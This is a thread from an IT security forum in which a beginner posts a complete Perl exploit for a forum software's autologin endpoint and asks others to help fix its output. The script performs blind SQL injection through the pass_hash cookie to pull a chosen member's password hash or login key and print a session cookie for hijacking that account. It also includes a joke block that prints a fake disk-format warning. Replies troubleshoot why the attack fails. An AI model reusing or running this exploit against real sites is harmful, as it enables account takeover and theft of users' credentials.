Waraxe IT Security Portal

Devastator2000 · Beginner

And all it returns is the member ID and an MD5 hash of
'00000000000000000000000000000000'?

capt · Advanced user

I have a feeling you used a exploit written in perl, python, or even PHP and its failing Wink

vince213333 · Advanced user

Which exploit are you using?

Devastator2000 · Beginner

#!/usr/bin/perl -w
##################################################################
# This one actually works Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "Tony Little Lately" and "Petey Beege"
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "The type of the file system is NTFS.\n\n";
print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
print "DRIVE C: WILL BE LOST!\n";
print "Proceed with Format (Y/N)?\n";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < 33; $i++ )
{
for( $j=0; $j < 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '<title>(.*)Log In(.*)</title>';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}

}
if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
}
print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
exit;

^ This one.

pink_spider · Advanced user

u exploit return in hexadecimal ?

Devastator2000 · Beginner

Didn't quite catch that....

vince213333 · Advanced user

The problem might be that you're using this exploit on a non-exploitable version. Can you tell us which version the board is your trying to exploit? The only way I think this exploit can return a string like that is if the page doesn't contain the searched pattern but neither returned a real value from the SQLi.

Devastator2000 · Beginner

Ah. I see the problem now.